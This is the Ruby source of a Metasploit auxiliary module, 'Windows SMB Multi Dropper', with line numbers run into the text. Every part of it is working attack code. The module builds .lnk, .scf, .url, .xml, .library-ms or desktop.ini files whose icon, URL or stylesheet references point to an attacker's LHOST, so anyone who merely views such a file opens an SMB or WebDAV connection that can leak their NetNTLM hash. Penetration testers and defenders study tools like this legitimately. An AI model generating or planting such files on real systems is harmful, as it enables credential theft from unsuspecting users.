Path: blob/master/modules/auxiliary/fileformat/multidrop.rb
19669 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::FILEFORMAT78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows SMB Multi Dropper',13'Description' => %q{14This module dependent on the given filename extension creates either15a .lnk, .scf, .url, .xml, .library-ms, or desktop.ini file which includes16a reference to the specified remote host, causing SMB connections to be17initiated from any user that views the file.18},19'License' => MSF_LICENSE,20'Author' => [21'Richard Davy - secureyourit.co.uk', # Module written by Richard Davy22'mubix', # Lnk Creation Code written by Mubix23'asoto-r7', # Word XML creation code24'hyp3rlinx', # .library-ms technique25'bcoles', # Added .library-ms support26],27'Platform' => [ 'win' ],28'References' => [29['URL', 'https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018'],30['URL', 'https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/'],31['URL', 'https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/'],32['URL', 'https://web.archive.org/web/20190106181024/https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt'],33],34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [],37'Reliability' => []38}39)40)41register_options(42[43OptAddress.new('LHOST', [ true, 'Host listening for incoming SMB/WebDAV traffic', nil]),44OptString.new('FILENAME', [ true, 'Filename - supports *.lnk, *.scf, *.url, *.xml, *.library-ms, desktop.ini', 'word.lnk']),45]46)47end4849def run50if datastore['FILENAME'].chars.last(3).join == 'lnk'51createlnk52elsif datastore['FILENAME'].chars.last(3).join == 'scf'53createscf54elsif datastore['FILENAME'] == 'desktop.ini'55create_desktopini56elsif datastore['FILENAME'].chars.last(3).join == 'url'57create_url58elsif datastore['FILENAME'].chars.last(3).join == 'xml'59create_xml60elsif datastore['FILENAME'].ends_with?('.library-ms')61create_libraryms62else63fail_with(Failure::BadConfig, 'Invalid FILENAME option')64end65end6667def createlnk68# Code below taken from module droplnk.rb written by Mubix69lnk = ''70lnk << "\x4c\x00\x00\x00" # Header size71lnk << "\x01\x14\x02\x00\x00\x00\x00\x00" # Link CLSID72lnk << "\xc0\x00\x00\x00\x00\x00\x00\x46"73lnk << "\xdb\x00\x00\x00" # Link flags74lnk << "\x20\x00\x00\x00" # File attributes75lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Creation time76lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Access time77lnk << "\x30\xcd\x9a\x97\x40\xae\xcc\x01" # Write time78lnk << "\x00\x00\x00\x00" # File size79lnk << "\x00\x00\x00\x00" # Icon index80lnk << "\x01\x00\x00\x00" # Show command81lnk << "\x00\x00" # Hotkey82lnk << "\x00\x00" # Reserved83lnk << "\x00\x00\x00\x00" # Reserved84lnk << "\x00\x00\x00\x00" # Reserved85lnk << "\x7b\x00" # IDListSize86# sIDList87lnk << "\x14\x00\x1f\x50\xe0\x4f\xd0\x20"88lnk << "\xea\x3a\x69\x10\xa2\xd8\x08\x00"89lnk << "\x2b\x30\x30\x9d\x19\x00\x2f"90lnk << 'C:\\'91lnk << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"92lnk << "\x00\x00\x00\x4c\x00\x32\x00\x00\x00\x00\x00\x7d\x3f\x5b\x15\x20"93lnk << "\x00"94lnk << 'AUTOEXEC.BAT'95lnk << "\x00\x00\x30\x00\x03\x00\x04\x00\xef\xbe\x7d\x3f\x5b\x15\x7d\x3f"96lnk << "\x5b\x15\x14\x00\x00\x00"97lnk << Rex::Text.to_unicode('AUTOEXEC.BAT')98lnk << "\x00\x00\x1c\x00\x00\x00"99# sLinkInfo100lnk << "\x3e\x00\x00\x00\x1c\x00\x00\x00\x01\x00"101lnk << "\x00\x00\x1c\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x3d\x00"102lnk << "\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x3e\x77\xbf\xbc\x10\x00"103lnk << "\x00\x00\x00"104lnk << 'C:\\AUTOEXEC.BAT'105lnk << "\x00\x00\x0e\x00"106# RELATIVE_PATH107lnk << Rex::Text.to_unicode('.\\AUTOEXEC.BAT')108lnk << "\x03\x00"109# WORKING_DIR110lnk << Rex::Text.to_unicode('C:\\')111# ICON LOCATION112lnk << "\x1c\x00"113lnk << Rex::Text.to_unicode("\\\\#{datastore['LHOST']}\\icon.ico")114lnk << "\x00\x00\x03\x00\x00\xa0\x58\x00\x00\x00\x00\x00\x00\x00"115lnk << 'computer'116lnk << "\x00\x00\x00\x00\x00\x00\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"117lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48"118lnk << "\x08\x00\x27\x6f\xe3\x1f\x26\x4e\x06\x19\xf2\xa9\x31\x40\x91\xf0"119lnk << "\xab\x9f\xb6\xb1\x6c\x84\x22\x03\x57\x01\x5e\x1d\xe1\x11\xb9\x48"120lnk << "\x08\x00\x27\x6f\xe3\x1f\x00\x00\x00\x00"121122file_create(lnk)123end124125def createscf126scf = ''127scf << "[Shell]\n"128scf << "Command=2\n"129scf << "IconFile=\\\\#{datastore['LHOST']}\\test.ico\n"130scf << "[Taskbar]\n"131scf << 'Command=ToggleDesktop'132133file_create(scf)134end135136def create_desktopini137ini = ''138ini << "[.ShellClassInfo]\n"139ini << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n"140ini << 'IconIndex=1337'141142file_create(ini)143end144145def create_url146url = ''147url << "[InternetShortcut]\n"148url << "URL=file://#{datastore['LHOST']}/url.html\n"149url << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n"150151file_create(url)152end153154def create_libraryms155xml = ''156xml << '<?xml version="1.0" encoding="UTF-8"?>'157xml << '<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">'158xml << '<name>@shell32.dll,-34575</name>'159xml << '<ownerSID>S-1-5-21-372074477-2495183225-776587326-1000</ownerSID>'160xml << '<version>1</version>'161xml << '<isLibraryPinned>true</isLibraryPinned>'162xml << "<iconReference>\\\\#{datastore['LHOST']}\\icon.ico</iconReference>"163xml << '<templateInfo>'164xml << '<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>'165xml << '</templateInfo>'166xml << '<searchConnectorDescriptionList>'167xml << '<searchConnectorDescription publisher="Microsoft" product="Windows">'168xml << '<description>@shell32.dll,-34577</description>'169xml << '<isDefaultSaveLocation>true</isDefaultSaveLocation>'170xml << '<simpleLocation>'171xml << '<url>knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7}</url>'172xml << '<serialized>MBAAAEAFCAAA...MFNVAAAAAA</serialized>'173xml << '</simpleLocation>'174xml << '</searchConnectorDescription>'175xml << '<searchConnectorDescription publisher="Microsoft" product="Windows">'176xml << '<description>@shell32.dll,-34579</description>'177xml << '<isDefaultNonOwnerSaveLocation>true</isDefaultNonOwnerSaveLocation>'178xml << '<simpleLocation>'179xml << '<url>knownfolder:{ED4824AF-DCE4-45A8-81E2-FC7965083634}</url>'180xml << '<serialized>MBAAAEAFCAAA...HJIfK9AAAAAA</serialized>'181xml << '</simpleLocation>'182xml << '</searchConnectorDescription>'183xml << '</searchConnectorDescriptionList>'184xml << '</libraryDescription>'185186file_create(xml)187end188189def create_xml190xml = ''191xml << "<?xml version='1.0' encoding='utf-8' ?>"192xml << "<?mso-application progid='Word.Document'?>"193xml << "<?xml-stylesheet type='text/xsl' href='file://#{datastore['LHOST']}/share/word.xsl'?>"194xml << '<Text>'195xml << ' FATAL ERROR: The document failed to render properly.'196xml << '</Text>'197198file_create(xml)199end200201end202203204